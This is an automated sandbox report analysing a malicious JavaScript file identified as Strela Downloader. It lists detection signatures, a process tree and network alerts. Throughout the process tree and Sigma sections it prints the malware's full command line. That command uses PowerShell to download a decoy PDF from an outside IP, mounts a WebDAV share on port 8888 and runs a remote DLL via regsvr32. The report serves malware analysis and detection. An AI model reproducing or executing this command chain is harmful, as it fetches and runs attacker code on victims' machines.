Edit tour

Windows Analysis Report
2837518771550414407.js

Overview

General Information

Sample name:	2837518771550414407.js
Analysis ID:	1588358
MD5:	ca932751eb78fab64d76a21164734eea
SHA1:	07324e1924111539132924a40a4940e7ad54a89f
SHA256:	fcdbc48edde005ee4954407c7f333539becd0b200223c553d88f1ba7302d0315
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3088 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2837518771550414407.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3472 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 7366FBEFE66BA0F1F5304F7D6FEF09FE)

powershell.exe (PID: 4960 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: DFD66604CA0898E8E26DF7B1635B6326)

Acrobat.exe (PID: 3864 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2924 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7116 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1628,i,3911696633638114002,12569793280079112653,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6268 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5168 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5224 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3088	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4960, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4960, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2837518771550414407.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2837518771550414407.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 640, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2837518771550414407.js", ProcessId: 3088, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5168, Protocol: tcp, SourceIp: 192.168.2.3, SourceIsIpv6: false, SourcePort: 49712

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2837518771550414407.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3088, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, ProcessId: 3472, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2837518771550414407.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3088, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, ProcessId: 3472, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2837518771550414407.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3088, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, ProcessId: 3472, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2837518771550414407.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3088, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, ProcessId: 3472, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2837518771550414407.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3088, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, ProcessId: 3472, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2837518771550414407.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2837518771550414407.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 640, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2837518771550414407.js", ProcessId: 3088, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4960, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6268, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5168, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5224, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6268, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5168, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2837518771550414407.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3088, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll, ProcessId: 3472, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:15:55.938442+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.3	49711	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:15:58.628375+0100	1810005	1	Potentially Bad Traffic	192.168.2.3	49712	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:15:55.938442+0100	1810000	2	Potentially Bad Traffic	192.168.2.3	49711	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2837518771550414407.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2837518771550414407.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.3:49712 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.3:49711 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:15:55 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49712

Source: global traffic

